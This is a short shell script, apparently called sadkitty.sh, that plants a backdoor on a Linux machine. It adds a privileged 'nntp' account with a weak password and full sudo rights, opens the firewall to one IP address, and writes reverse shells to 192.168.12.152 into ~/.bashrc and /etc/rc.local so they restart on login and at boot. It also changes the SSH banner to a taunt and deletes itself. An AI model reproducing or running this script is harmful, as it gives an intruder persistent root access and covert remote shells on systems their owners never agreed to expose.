#!/bin/sh
adduser nntp --system --shell /bin/sh --home /var/spool/news --uid 50
echo "nntp|badpassw0rd!!!" | chpasswd
echo "nntp ALL=(ALL) ALL" >> /etc/sudoers
useradd -g nntp admin
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 
iptables -A INPUT -i lo -j ACCEPT 
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT 
iptables -A INPUT -s 192.168.12.152/255.255.255.255 -j ACCEPT
iptables -A INPUT -j REJECT --reject-with icmp-host-prohibited 
/etc/init.d/samba restart
echo "/bin/bash -i > /dev/tcp/192.168.12.152/6666 0>&1 &" >> ~/.bashrc 
echo "#!/bin/bash
/bin/bash -i > /dev/tcp/192.168.12.152/6667 0>&1 &
exit 0" > /etc/rc.local
echo "
Welcome to the l1tt3r b0x

      \    /\\
       )  ( ')
      (  /  )
       \(__)|  meow, sup bitches?

" > /etc/issue.net
echo "Banner /etc/issue.net" >> /etc/ssh/sshd_config
/etc/init.d/ssh restart
rm `pwd`/sadkitty.sh

